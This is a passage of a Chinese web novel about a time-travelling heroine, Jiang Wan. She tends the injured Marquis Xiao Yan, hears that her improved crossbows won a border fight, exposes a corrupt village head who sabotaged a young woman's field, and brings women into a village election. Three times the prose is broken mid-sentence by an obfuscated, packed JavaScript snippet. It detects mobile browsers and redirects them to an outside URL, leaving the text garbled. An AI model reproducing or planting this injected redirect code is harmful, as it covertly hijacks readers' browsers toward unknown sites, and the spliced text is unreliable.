姜晚语中强压雀跃，已经迫不及待想去看看，她到底能赚几个三百两。 “巧了，”山木掩唇轻笑，“我现下此行便是要去那间工坊巡视，只是不知夫人您……” 姜晚余光瞥向窗外看了看天色，暮色渐染，虽有要入夜的迹象，但还不算太晚，再说侯府也没有宵禁，便道：“何必等到改日？择日不如撞日，不如此刻便去。” 说话间，车身颠簸了一下，杯盏碰撞发出清脆响声，外面的车夫隔帘禀报： “夫人，车辕已修整妥当，可以启程了。” “好，”山木撩开帘幕，“走吧。” 四架马车缓缓前行，青帷马车也逐渐跟上，向着远处驶去。 马蹄停在城郊一座不起眼的院落前。这处灰墙小院表面上平平无奇，可当推开斑驳木门时，院内别有洞天，豁然开朗，工坊规模远超想象，绝非山木所形容的“小”工坊。 五进院落打通，连成一片，又再分为多个小分区，数十名匠人在各区奔劳忙碌，敲打声、织机声、淬火声，不绝于耳，甚至还有一个小型的琉璃烧制窑在吐火舌。 设备虽不及她的新工坊先进，可胜在品类齐全，精巧。 姜晚看着眼前的景象，不免惊讶：“这……就是你说的小工坊？” 山木笑道：“我可不敢在侯夫人面前班门弄斧，与夫人的工坊相比，可不就是小作坊嘛！” 姜晚跟随山木在每个分区都驻足观察片刻，当场指出几个需要改进的痛点，顺便用炭笔画了几个简易的改进草图。 山木捧着草图，啧啧称奇：“夫人真是妙才！有劳夫人以后为我这个小作坊继续费心了。” 姜晚唇角微扬：“分内之事，满意就好。” 只要钱到位，就是顽石，她都能雕出花来。 —— 姜晚心满意足地“抱着”钱袋子，乘着侯府的青帷马车离开山木的工坊。 行至半途，在天幕上酝酿许久的大雨终于倾泻而下，豆大的雨点砸在车顶，发出急促的噼啪声。 马车在风雨中前行，抵达侯府后，姜晚下了马车，鞋袜已湿透，裙角不慎沾染些许泥污，显得有些狼狈，但她却浑不在意，双眸神采奕奕，双颊上兴奋的红晕未褪，仿佛这场突如其来的风雨并未将她偶遇富婆的亢奋浇灭。 “夫人。” 侍女抱着把油纸伞匆匆迎来，手中还捧着干帕。 姜晚却摆了摆手，接过伞后便提着湿漉漉的裙摆直接去往西苑，打算先换件衣服。 天上阴云密布，无月无星，夜色漆黑，晚风携着细雨卷入廊下，灯笼中的烛火被风雨吹打得左右摇晃，连带着也将她的影子映得忽大忽小。 行至一处转角，却瞥见萧砚的书房仍灯火通明。 这么晚还在处理军务？姜晚心中感叹着辛苦，却下意识地脚步一顿，鬼使神差地转向书房方向。 书房的门扉虚掩着，漏出一丝光线。她透过缝隙望去，最先往书案处看去，却并没有看到伏案工作的身影。 视线微转，呼吸不由得一滞。 轮椅上的萧砚背对着她，身影在昏黄的烛光下显得异常紧绷，修长的手指紧紧扣住扶手，另一只手按紧腿上伤处，额角似有冷汗渗出。 空气中弥漫着淡淡的药味，以及一种极力忍耐痛苦的喘气声。 这还是她第一次见到萧砚旧伤发作的样子，与印象中那个冷静自持，运筹帷幄的定北侯若判两人，连呼吸都带着隐忍的颤音。 姜晚陷入踟蹰，指尖停在门框边，迟迟未能落下。 该进去吗？还是当做没看见，默默离开？ 可进去能做什么？她和他似乎还没熟络到这一步，说是夫妻却形同陌路，说是盟友又太过生疏。 她早就听说那些从尸山血海里爬回来的将士，那些受过创伤的军人，最忌旁人知晓自己狼狈的模样。 或许只有至亲之人才能稍加安抚。 可她又算什么？朋友？妻子？都不是。他们这个挂名的夫妻，怕是连对方爱喝什么茶都不知道。 但是离开？未免有些不近人情。 雨声渐急，从檐角落下的雨线连成雨帘。最终，她轻轻敲了敲门框，声音很低：“侯爷？” 烛光中的身影猛地一颤，攥着扶手的手更紧了几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972791|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他迅速收回按在腿上的手，深吸一口气，强压住痛楚。 他没有回头，声音依旧如平日一样冷静疏离： “何事？” “雨大，路上耽搁了，刚回来，见书房灯亮着……”她透过窗纸看着那道剪影，斟酌着用词，“时辰不早了，侯爷也早些歇息吧。” 萧砚只是“嗯”了一声。 不出所料，得到的是和平日一样的淡淡回应。姜晚早已习惯这种语调，正转身欲走，忽然福至心灵，脚步微顿。 不对啊！ 萧砚要是病倒了，边境的军报文书谁来批阅？她那些为改良农具以及建造工坊所设计的图纸，还能找谁批下银钱？ 她的民生幸福指数该怎么办？她的回家大计又该怎么办？ 方才还在纠结的关系，此刻骤然明朗，一个恰当好处的词语忽然冒出她的脑海。 同志啊！ 他们是同志啊！是一起为建设美丽大晟而奋斗的同志啊！是能帮她打开时空之门，回到原世界的合伙人啊！ 姜晚悟了。 至少到目前为止，萧砚是个好同志，不会像她的那帮师兄师弟一样，不是误拔仪器电源，就是偷偷篡改数据，净给她整幺蛾子。 意识到这一点的姜晚又转过身来，她决定还是要稍微帮一帮这位尽职尽责的“战友”，便隔着门问道： “侯爷旧伤发作时，可试过热敷？” 屋内静了一瞬，并未听到萧砚的回应。 姜晚并不在意，自顾自地道：“我家乡有个方子，取艾草、红花各三钱，以黄酒调和，热敷患处最为有效，要试试吗？” “不必。” 他声音依旧冷淡。 姜晚轻哼一声，半点不惯着他：“别啊，侯爷若是病倒了，北境这一大摊子事谁来管？你难道指望着我一边经营工坊，一边包办北境三十八县的赋税和边境十二营的军务吗？” 沉默良久，周遭只有潇潇雨幕声，久到姜晚以为他又要拒绝时，书房里似乎传来一声低低的叹息，随后是一道几不可闻的声音： “……进来吧。” 姜晚唤来周叔，吩咐他去准备热敷的药材，随后便推门进入。周叔动作很快，不到半盏茶的功夫便把姜晚所需尽数送了过来。 她从袖中拿出一个青瓷小瓶，拇指推开封蜡，散发出好闻的清香。 “这药里放了薄荷脑，”清凉的薄荷味弥散开来，掩盖了书房中惯常的药味，“对止痛很有用的。” 当她想上前撩起衣袍下摆上药时，萧砚突然按住她的手腕。空气瞬间凝固，两人僵持几息后，直到姜晚感到他掌心传来的微微颤抖，才缓缓收回手。 衣摆掀起的那一刻，姜晚心头一怔。 深色的旧疤像吐信毒蛇一般，咬进腿上最脆弱的筋脉处，皮肤因久不见日光泛出不健康的青白。 热敷完毕的帕子被搁在一旁，姜晚指尖沾了点乳白色地药膏涂在伤处。指尖触及的瞬间，她明显感觉到肌肉瞬间绷紧，像是被火灼烧般。 姜晚眼疾手快，一把按住他下意识想后退的膝骨。 “疼吗？”她问 “旧伤而已，平日里没有问题，不妨事。” “真的吗？”姜晚追问道，“你不会是骗我吧？” 沉默的间隙里，窗外雨幕转急，喧嚣的雨声传入房中，像是某种催促。 萧砚沉默片刻，终于败下阵来：“每逢阴雨天，便会如此。” 萧砚的目光落在她专注的脸上，看到那细长的睫毛上，还有雨水凝成的细小水珠。 “好了，”姜晚收起药瓶，抬头正对上他的目光，心头突然一跳，“以后若再发作……就照这个法子来。” 13.突变 清宵密静，唯余窗外夜雨淅沥。 烛火黯淡幽微，时而伴着嘈嘈切切的风雨，“噼啪”一声爆出个灯花，扰乱一室静谧。 药膏的凉意顺着伤处蔓延开来，如新雪般的清凉融入肌理，将蚀骨钻心的隐痛渐渐消解。 他目光微垂，不经意间瞥见姜晚收拾药瓶的手，利落灵巧，指腹上还有炭笔残留的灰渍，应该是画完图还未来得及擦净。 为了免得沉寂演变为尴尬，他忽而开口，打破了空气中的宁静： “今日一行可否顺利？何故晚归？” “原是能早些回来，可巧遇到了山木夫人，聊得甚是投机，便耽搁了些时辰，”姜晚将药瓶放入随身携带的药囊中，系紧，“说来也是巧，她的夫君曾经也是侯府旧部。” “是沈崇山，当年他率三十轻骑为前锋，夜袭胡人左贤王大营，险些丧命。此役他居功甚伟，现于都护府任行军司马。”萧砚回忆道。 姜晚由衷赞叹了句“真勇士也”，而后本能地遵循礼尚往来的原则，随口问了句： “那你呢？” 话一出口才觉得失了礼数，连忙改口：“……那侯爷呢？为何今日也这般晚歇？” 萧砚微微怔忡，似乎没料到她会将话头抛回自己身上，却并未回避： “今日事务繁多，胡人一部趁夜突袭临峪关外的粮草转运点，李绍荣的军报，刚刚送到。” “胡人夜袭？！” 听到有新战情，姜晚心瞬间提到了嗓子眼，下意识绞紧手指。 不久之前，她亲手改良的军械才刚刚送至边关各营，分发至边关将士手中，将那些经年使用的老旧兵器替换下来。 此刻，边关将士的生死性命，都系在这些尚未经历实战检验的新式军械之上。 姜晚的声音不自觉地染上急切：“战况如何？将士们可安好？” “多亏了你，”萧砚道，“此次虽敌众我寡，我军却未折损一兵一卒。” 未折损一兵一卒。 这几个字破开嘈嘈夜雨声，清晰有力地传入姜晚耳中，她微微放大的瞳眸紧盯着萧砚，似乎以为自己听错了。 “什……什么？” “胡人的兵马甚至来不及列阵，你改良的连弩，便已射穿他们的皮甲。” 姜晚眸底闪过一丝惊异，再次下意识地追问： “真的？” 萧砚颔首，没有言语，只是将手中的军报递给她。 姜晚将信将疑地接过，将粗糙的羊皮纸徐徐展开，李绍荣的字迹映入眼帘，龙飞凤舞到近乎张狂，但仍能模模糊糊地能看清所写的内容： 弩箭如雨，敌寇丧胆，我军大捷。 看到李绍荣发来的捷报，一种难以言喻的热流瞬间席卷四肢百骸，姜晚突然生起一股奇异的感觉，自己的所作所为，似乎真的在改变这个世界。 她心中竟兀自有了种莫名的……与有荣焉的成就感？ 姜晚将军报翻来覆去，贪婪地看了一遍又一遍，脸上悄然漫上笑容，连她自己也未发觉。 她激动地在并不宽敞的书房中来回踱步，直到过足了瘾才将其重新放回案上。 再抬头时，姜晚顿时信心百倍，烛火映在清亮的眸底中，仿佛灼灼星火，顿时将白日奔劳的疲惫驱散： “这只是开始，将来胡人定不敢再犯分毫，静候日后捷报频传吧，侯爷。” 姜晚神采奕奕的模样倒映在萧砚的眼中，烛影在她的眉眼间跳跃，将明艳张扬的面容勾勒得越发鲜活，让他想起北境荒原上的一簇野火。 死寂沉沉的北境，仿佛真的因为她的到来开始变得生机勃勃。 “会的。” 简洁的两个字，像在回应姜晚，又像是对自己立誓。 时间在滴漏声中悄悄流逝。 姜晚辞别后，行至门边时想起了什么，忽而转身：“对了，新轮椅的图纸王师傅他们还在修改，等改日我去验收完毕，不日便可送去让工匠们开工。” 窗外雨声未歇。 “姜晚。” 这是他第一次叫她的名字。 “嗯？” 他沉默片刻，终是问道：“你为何对……北境如此尽心？” “我能图什么？”姜晚避重就轻，语气轻快到近乎敷衍，“之前不是说过吗？为了造福百姓。” 话音刚落，她自己险些嗤笑出声。 这般冠冕堂皇的说辞，实在难以让人信服，连三岁小孩也骗不过。 可她又能说什么？ 难道要告诉他，她所做的一切只不过是为了完成一个虚无缥缈的系统任务？ “罢了，”萧砚的声音从身后传来，带了几分她读不懂的情绪，“夜深了，回去吧。” 姜晚想说什么，却最终什么也没说，轻轻带上了房门。 —— 经过这段时日的努力，系统任务的进度终于有了显著的进展，边境稳定值跃升十点，民生幸福指数更提升十五点。 每日清晨，驻守在春杨村的随从都会快马送来试验田的记录。 那块被认为寸草不生的荒地，如今一片生机勃勃，新苗破土而出，在覆膜的保护下长势颇好。 一切都在向好的方向发展。 姜晚越发勤勉用心，她为山木夫人的工坊精心绘制了十余张图纸，改良了许多工坊器械。 齿轮的咬合声日夜不息，纺车飞转如轮，每日呈报的产量都要比前日攀升一节，无数白银流入这座郊外的工坊中，富婆大手一挥，慷慨地又拨给姜晚一笔可观的分红。 从山木夫人那里得来的银子姜晚也并未留作己用，而是化成了切切实实的砖瓦，一座座灰瓦白墙的小院在郊外屹立，这是为流离失所的百姓建造的房屋。 从此流民不再是流民，他们褪去褴褛的衣衫，得到了新的户籍文书，搬进整齐的屋舍，彻底告别了颠沛流离的生活，与家人同伴一起，在这片新的土地上扎下了根。 他们不再是沿街乞食的可怜人，也不再需要他人怜悯的目光，他们能靠双手来养活自己。 清晨上工时，他们在炊烟中与妻儿告别；暮色归来时，挺直身影也不再佝偻。 今日清晨，姜晚左等右等，案上的茶凉了又换，都未等到驻村随从的来信。这个随从一向准时，从未偷懒懈怠，这般迟滞实在反常。 但姜晚并未多想，因为王工匠他们将轮椅图纸修改完毕，已经呈递上来给她审查。 最终的定稿与她的设计相结合，既保留了她的精巧设计，又融入了当地工匠的巧思，使之更适应北境的地形，总体而言比她最初的设想更完美。 又多等了半刻钟，院外仍静悄悄的，还没听到惯常的马蹄声。 姜晚不再等待，她卷起图纸，打算先将其送往军械司，等回来后再派人前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991301|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去春杨村查看情况。 军械司离军营很近，路过军营附近时，阵阵哄闹声传入耳畔。 “好！” “又中了！” “李将军真乃北境第一神箭手！” 姜晚被震天喝彩声吸引驻足，透过木栅栏向营中望去，乌泱泱围了一群人，中央空出一片箭场，仔细听才明白是将士们在比箭法。 箭场上，李绍英一身轻甲，墨发高高束起，身姿如松，指间弓弦紧绷。 瞄准靶心的瞬间，指间一松，箭矢瞬间破空而出。 百步外，箭似流星追月，眨眼间连中三靶红心。 士兵中响起哀嚎一片： “李将军让让我们啊！” “给我们留条活路吧李将军！” 此时，一名年轻将领从围观的人群中挤上来：“我来我来！让我试试！” 他不由分说，信手从李绍英手中取过长弓，拉弓如满月。 前两箭正中靶心，引起众人喝彩。可惜第三箭失了准头，与靶心偏了毫厘。 李绍英眼疾手快，反手从他手中将弓夺回，旋身挽弓如电。 拉弓，射箭。 咻—— 最后一箭追风而去，这追补的一箭竟生生劈开前箭箭尾，正中靶心。 “好！” “小李啊，你又输啦！”有几个须发斑白的老兵笑得前仰后合，更有甚者拍着大腿哄笑，“在咱们这帮老骨头入土之前，能看到你赢绍英一次不？” 年轻的新兵尊称他们为“将军”，可这些征战沙场数十年的老兵很多都是李家父辈的旧部下，是看着他们长大的，早就将兄妹俩当成自家孩子，因此说话间并不拘束。 “手滑了嘛！”说着，李绍荣用手肘轻轻撞了下李绍英，笑道，“绍英，看在一母同胞的情分上，下次让让我呗？” 李绍英头也不抬，并不理会他，垂眸整理护腕，声音清寒： “你若是说看在张叔李叔的面子上，我倒是真能放放水，让你一让。” 李绍荣并不抱怨，相反，他眼中盈满骄傲，而后重重拍了拍李绍英的肩膀，笑声爽朗：“好！不愧是李家儿郎，这傲劲儿和阿爹当年一个样！” 李绍荣一嗓子又引得周围老兵也笑起来，有人还嘀咕道：“绍英打小就要强，跟她爹真是一个模子里刻出来的。” 笑声未歇，一道清越的声音横插进来。 “李将军真是好箭法。” 姜晚款步踏入箭场。刚刚追补的那一箭，饶是见多识广如她，也不由得看呆了。 李绍英抱拳一礼：“夫人谬赞，只是熟能生巧而已。” 李绍荣抢过话头：“嗐！夫人，你别听她瞎说，她就是谦虚，我们小时候每次挽弓射雕，那次不是她先拔得头筹？” 几名知情的老兵忍俊不禁，纷纷点头称是。 李绍英反手便是一记弓背，不轻不重敲在李绍荣肩头。李绍荣痛呼一声，夸张地龇牙咧嘴，仿佛受了天大的痛楚。 李绍英道：“就你多嘴多舌。” 众人说笑之际，远处忽而传来急促的马蹄声，隐约能听到“夫人——”的高喊。 姜晚闻声望去，只见一骑绝尘而来，正是那名留驻春杨村的随从。 快马驰入箭场，在姜晚面前人立而起，不等马蹄停稳，那随从便滚鞍下马： “夫人！有要事相告！” 14.新苗 “禀夫人，应姑娘的田出事了！” 随从声音微微发颤，诚惶诚恐，眉眼低垂不敢看姜晚的表情：“是属下失职，请夫人责罚！” 姜晚脸上笑意倏然消融在轻蹙的眉宇间，语气沉得可怕： “仔细说说，昨日巡视时不是还好好的？不过才一晚上的功夫，能出什么变故？” “夫人明鉴！昨日还好端端的，可……可属下今早再去瞧，却发现一夜之间秧苗全毁。不仅如此，覆膜也被撕得彻底，整块地像被猪拱过一样，没一块完好的土。” 方才热热闹闹的箭场因此次通报变得寂静，老兵们互相交换了一个心照不宣的眼神。 从前他们在城郊各村寨都驻守过，哪个没吃过村中地痞无赖的暗亏？他们可要熟悉这种下作手段了。 几个老兵吧嗒抽了口旱烟，都不约而同地摸向腰间刀柄： “嘿！那帮刁民……夫人，定是有人故意找茬！不如让我们几个老家伙去帮夫人撑撑场面，把闹事的揪出来，保管让他们知道花儿为什么这样红！” “不必了，”姜晚抬手止住老兵的话头，继而转头看向李绍英，“李将军，借你的快马一用。” 李绍英会意，右手一挥，立即有亲兵牵来一匹通体乌黑的矫健骏马。 让人套好轻便车具后，姜晚又对那名随从吩咐道：“你骑马先行，传我令，即刻封锁那块地，任何人不得靠近。” “是！” 马蹄踏风而去，滚滚车轮碾起阵阵尘烟。当姜晚快马赶到时，村民们正乌泱泱地聚在地头，将狭窄的乡间小路围得里三层外三层。 应云姝孤身站在人群中央，粗布衣衫上沾着泥浆点点，手中紧紧攥着被踏断的秧苗，眼眶微微泛红，却没有掉下一滴眼泪。 车轮在田垄旁停驻，窃窃私语声戛然而止，人群自发地让出一条路。 应云姝循声望去，抬头正好向到下车的姜晚： “夫人，我……” 她喉头混动，张口似乎想要辩解什么，却说不出话来。 姜晚示意她无须多言，目光扫过狼藉的田地，覆膜撕裂成条状，像旗帜一般随风飘荡，嫩绿的秧苗也横七竖八地陷在烂泥里，整片田地被践踏得面目全非。 “让让！都让让！” 这时，村长闻询赶来，他气喘吁吁地挤进人群，瞧见现场的一片狼藉后，顿时捶胸顿足，一屁股跌坐在地头： “造孽啊！这么好的苗子……唉！夫人，定是山里的那群畜生干的！” “那群天杀的野猪最是可恨！前些年王老汉的园子也被拱的稀烂，我们真是防不胜防啊夫人！” “老村长怕是记性不好，”那名随从忍不住插话反驳道，“前阵子驻军刚清过山，方圆二十里的野猪窝都端干净了，哪来的野猪？” “这个……许是……许是从临县跑来的？那些畜生四条腿腿长在它们身上，哪能赶尽杀绝？” 应云姝忽然出声道：“若真是野猪，怎会独独糟蹋我这一亩三分地？况且，野猪只在北山那一带活动，何时来过村东这片荒地？” 人群中响起骚动，王麻子阴阳怪气道：“这种情况，往年又不是没有过！这些畜生专挑好苗子糟践。” 有人附和道：“呦，丫头，你自己没看好田，赖谁呢？没有金刚钻，就别揽瓷器活，看夫人待会儿怎么治你的罪！” 旁边有人帮腔道：“怕不是你种坏了地，故意演了这出戏来骗夫人吧？” 最外围的几个老头也摇头晃脑地讥讽道：“怪不得从前没女子当家立户的规矩呢，女子立户，五谷不丰，听老祖宗的话准没错！” “住口！” 姜晚眸光锐利，直直刺向发出骚乱的地方，怒斥道： “天灾人祸自有公断，与女子立户有何关系？谁再敢胡诌，就去矿上与应老六作伴，尝尝开山凿石的滋味！” 方才帮腔的几个村民被这句厉喝惊得缩了缩脖子，闭紧了嘴，害怕自己沦落到和应老六一样的下场。 矿地上都是苦差事，又苦又累，稍有不慎就会丢了命。三个月徭役下来，饶是如牛的壮汉也能折半条命，因此没人愿意去矿上服役。 可北境的刀枪剑戟又全都仰赖于此，便只能驱赶俘虏罪犯去采掘所需的生铁矿石。 姜晚的视线在噤若寒蝉的众人身上扫过，见没人再敢多嘴饶舌才看向村长：“你说昨夜有野猪出没，可有猎户瞧见？” 村长抹了把脑门上的细汗，眼神飘忽：“有的吧……” “昨日值守的猎户，出列。” 三个五大三粗的精壮汉子从人堆里挪出来，姜晚的目光在他们紧绷的脸上一一掠过： “有谁看见了？” 一个年长的猎户最先开口：“没见过，我们昨天夜里一直守到三更天，连半根猪毛都没见过。” 其他两个也跟着纷纷摇头。 “许是后半夜来的，他们没留意，这些畜生狡猾，专挑人困马乏的时候……” 村长的声音在姜晚的注视下越来越弱。 “野猪进村，总得有动静，”姜晚道，“昨夜，可有人发现可疑之事？” 人群中发出窸窸窣窣的议论，可大伙你看看我，我看看你，都不敢上前言明。 笑话，大家都是十里八乡的亲戚，住在同一个屋檐下，抬头不见低头见的，这要是说了什么不该说的，得罪了人，以后还怎么混？ 更何况谁不知道村长家势大？得罪了他，往后借牛犁地、婚丧嫁娶，哪桩事不得求到人跟前？ 姜晚似乎也想到了这一点：“你们大可以畅所欲言，查出来，若是罪行属实，必当严惩。” “俺来说！” 她话音刚落，张寡妇拨开人群挤了进来，身后跟着七八个婆姨，个个眼冒怒火：“既然夫人发话，那俺们也不藏着掖着了，村长这些年偏心自家亲戚，分地时净给我们这些寡妇薄田！” 她又看向村长，叉腰指着他，声音洪亮：“昨儿半夜俺起夜，可是瞧见了的，你家二小子带了三条汉子，扛着锄头向村东头去了。” 人群哗然。 “俺当时还夸这小伙子勤快，天不亮就去地里面收拾。呸！原来是见应丫头的苗长得好，心里不舒坦，存心来糟践啊！” 李婶子也站出来补充：“可不是！王老汉家的园子被毁，八成也是他干的！去年交租子，也多收我们三成！” “平日俺们这些寡妇势单力薄，惹不起你，只能忍气吞声。现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009024|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人来为俺们做主，看你还有什么话说！” 这段时日里，姜晚安抚流民，整顿民生的善举早就传遍乡野，家喻户晓，大家都知道新来的侯府夫人是真心为他们着想的。 不知是被张寡妇她们的勇气所鼓舞，还是出于对姜晚的信任，越来越多的村民站出来，控诉村长的种种罪行，滥用职权、欺压百姓、强占民女，每一条单拎出来都比毁田严重得多。 村民的怒骂声此起彼伏，像洪水一般一发不可收拾，冲破村长虚伪的假面，村长的脸唰一下白了。 “胡、胡说什么！”他声音发颤，眼珠子慌乱地四处乱瞟，“你们都胡说什么！我家二小子昨夜明明......明明......” 他嘴唇哆嗦着，话到嘴边却编不出个像样的谎，只能气急败坏地跺跺脚，指着张寡妇等一行人痛骂： “你们这些刁妇，竟敢合起伙来污蔑！” “一个两个说谎是污蔑，”姜晚开口，声音不大却让全场静了下来，“难道全村的人都在说谎污蔑你吗？” “是与不是，一查便知，”她朝随从使了个眼色，“带走！” 村长“噗通”一声跪在地上：“夫人饶命！” 姜晚并未理会他的求饶，随从也不管有的没的，麻利地把人绑了结实就拖走。 眼看着这个作威作福多年的毒瘤被收拾，村民心头畅快，但心中仍有不安。 一个消瘦的老汉搓着手，战战兢兢地上前问道：“夫人，俺想问问，这厮会落个什么下场？能判什么罪？” 身后的其他村民也频频点头看向姜晚，眼中浮现隐忧。 若判得不重，过两年村长卷土重来，到时候他们这些在场作证的，定然吃不了兜着走。 姜晚并未直接回答，而是望向远处起伏的矿山，明知故问道： “当时那个应老六，现于何处服刑？” 随从立即躬身答道：“回夫人，按律充作苦役，现正在矿山服刑。” “好，”姜晚语气轻描淡写，“那就依照应老六的例子处置。这等恶行，数罪并罚，十年徭役都是轻的。” 说话时，姜晚往人群中扫视一眼，尤其在方才应和嘲讽应云姝的那几个村民脸上多停留了一瞬。 她目光带寒，带着警告，那几个刚才还气势汹汹的汉子此刻都缩着脖子安安分分的，活像被掐住喉咙的公鸡。 村民闻言，紧绷的脸上立刻显现出释然的神色。 几个年长的农户双手合十，连连作揖： “谢夫人做主！” 此事落下帷幕，姜晚宽声安慰了应云姝几句，又命人给她一批新秧苗补种。 就在她准备离去时，几个村民急忙追过来。 “夫人，俺们大伙商量了一下，村子里不能没有村长，俺们打算另立村长，还请夫人做个见证。” 姜晚颔首同意。 很快，晒谷场上聚起百十号人。姜晚端坐一棵老槐树下的太师椅上，看着村民们挨个将写着人名的黄纸投入陶瓮。 然而看着看着，姜晚的眉头渐渐蹙起。 她突然抬手示意：“且慢。” “为何前来投票的……”她目光扫过人群，指尖轻点扶手，“尽是男丁？” 15.火铳 此话一出，方才还在沉浸在选换新村长的喜悦中的众人纷纷停下手中动作，看向树下的姜晚。 众人挠挠头，面面相觑：“夫人，这自古以来，不都是如此吗？” “古来如此，便对吗？” 这句话仿佛迸溅到干柴上的火星，人群中传来交头接耳的窸窣声，似乎在思索这个从未有人提出过的问题。 日光打在姜晚的脸上，纤长的睫毛在眼下投下一片阴影。 “既然都是村中的一员，那么她们也有投票的资格，选出来的村长也应得到她们的认可。” 姜晚转向在角落里踌躇的妇人们，她们都瞪大眼睛，满脸惊异。与其说从来没有人对她们说过这样的话语，倒不如说从来没有人在意过她们的想法。 就像没有人会在意耕牛对田地的看法一样。 姜晚道：“诸位婶娘姐妹，也请来投上一票。” 妇人们你看我我看你，哪怕听到姜晚发话，她们依旧踟蹰不前，不时左顾右盼，有的还在不停偷瞄自家汉子的脸色，似乎在等待第一个上前的人。 空气中弥漫着令人窒息的沉寂，落针可闻，众人屏息凝神，任凭时间在沉默中流逝。 “你们都不去？” 首先发话的是应云姝。 这个素来特立独行的女孩子从一开始就站在不起眼的地方，纤瘦的身影几乎被几位高大的妇人们遮了个严实。 可当听到姜晚的话后，她第一个眼中跃出亮光。 “那我去。” 应云姝率先迈出脚步从人群中挤出，她步伐带风，在众目睽睽之下，将承载命运的黄纸投入陶翁。 姜晚微微颔首，嘴角含笑，眼中也流露出赞许的目光。 “俺、俺也去！” 张寡妇也跟着从人堆里挤了出来，略显局促的跟在应云姝身后。 接着是李婶子、王大嫂、孙二娘...... 很快，蜿蜒如龙的长队像缓缓流动的小溪，在陶翁前排开。 随着投票的队伍渐渐变短，陶翁里的纸片越堆越高，当最后一张纸片飘然落下，村里颇有威望的老者站在一旁，眯起眼睛唱票。 “刘大牛，三票。” “赵老四，两票。” “应云姝...... ” 念到最后一个名字时，他忽然噤声，眉头紧紧拧成一个川字，又把手中的票揉成纸团扔在地上，脸色铁青： “胡闹！真是荒唐！这票不做数，重新投！” “等等，”姜晚站起身，缓缓走到投票处，她弯腰捡起那团被揉皱黄纸，展开看了眼上面的名字，“为何要重投？” “回夫人，”看到姜晚，老者立刻恢复了和蔼的脸色，挤出一张笑脸，“这不合规矩，哪有给女娃投票当村长的道理？” “不合规矩？就因为投的是应云姝？” 老者急忙辩解：“应丫头可以立女户，那是因为《大晟律法》载有明言，可律法中并没有规定女子可以为官，可以入官场议事呀！” 姜晚闻言微微笑了下。 和她讲律法？ 她为了在这皇权至上的古代保住脑袋，把当朝律法通篇看了好几遍，虽并未明说女子是否可以当村长，却说过除了县以上的官员需官府呈批，县以下，譬如乡级皆由村民公推，贤能者任之。 更何况从前也有过先例。 “但《大晟律法》也有言，凡村、里之长，由本村户众公推，报县衙备案便可，无需呈报圣听，无劣迹者即可任事，不论出身。” “有哪一字写了须为男子？” 老者被问得一愣，一时哑口无言，半晌才反应过来：“这……这倒没有。” “那就是可以，”姜晚掸去纸上灰尘，将皱巴巴的黄纸重新塞回老者手中，“既然律法未禁，应云姝为什么不能当村长？” 唱票被打断，人们都伸长脑袋往前凑，想看看发生了什么。 有人听清了二人的谈话，忍不住嗤笑出声。有人站得太远没听清，只能踮着脚往前凑，却被旁人拽住袖子低声转述。 “咋回事？”有人不明所以，扯着嗓子问。 旁边的人压低声音道：“听说是应丫头得了一票……” 了解到实情后，有人不禁揶揄道： “居然有人投应云姝？应丫头，这一票该不会是你自己投的吧？” 应云姝还没来得及反驳，张婶子一听这话瞬间火了，一个箭步冲过去，往那人脸上吐了口唾沫： “呸！是老娘投的，你有意见？” 那人狼狈地抹了把脸，声音高了三分： “张婶子，你一个妇道人家懂什么？村长是要跟县衙打交道的，她一个小丫头片子，连衙门的大门朝什么方向都不知道，怎么当村长？” “呦，去年你被野猪拱得躺了半个多月下不来床，是谁家媳妇替你去县衙交税单的？”张寡妇不甘示弱，声音也拔高了几分，“县太爷可没因她是女子就不收吧？” “还有俺前年替俺家早死的老汉打田产官司的时候，衙门也没把俺撵出去吧？” 那人脸色涨红，嗫嚅了一阵说不出话，灰溜溜地钻进人群，四下鸦雀无声。 姜晚将他们的言语尽收入耳，不由得轻笑一声： “没想到居然还有此等轶事，平时日里使唤女子跑腿办事时，没人提女子不能进衙门，轮到女子掌权了，倒突然讲究起来了？” 满堂寂静，默不作声。 眼看着众人吵吵也吵吵不出什么结果，场面僵持不下，应云姝转头看向姜晚道：“夫人，他们要重投，就重投吧。” “我要让他们心服口服，否则，我若真当上这个村长，也难以服众，当不舒坦。” 姜晚点头同意：“好，既然你都这么说了，那便依了他们，重投。” 村民又被重新组织起来排队投票，只是比起第一次的喜气洋洋，这次的氛围格外凝重。 一炷香的时间后，唱票重新开始。 大约一盏茶的功夫，唱票结束，票数最终定格，最终结果为： 刘大牛，四十七票。 赵老四，三十八票。 …… 应云姝，五十六票。 几个持反对意见的村民目瞪口呆，本以为重投一次，那些“糊涂人”会“清醒”过来。 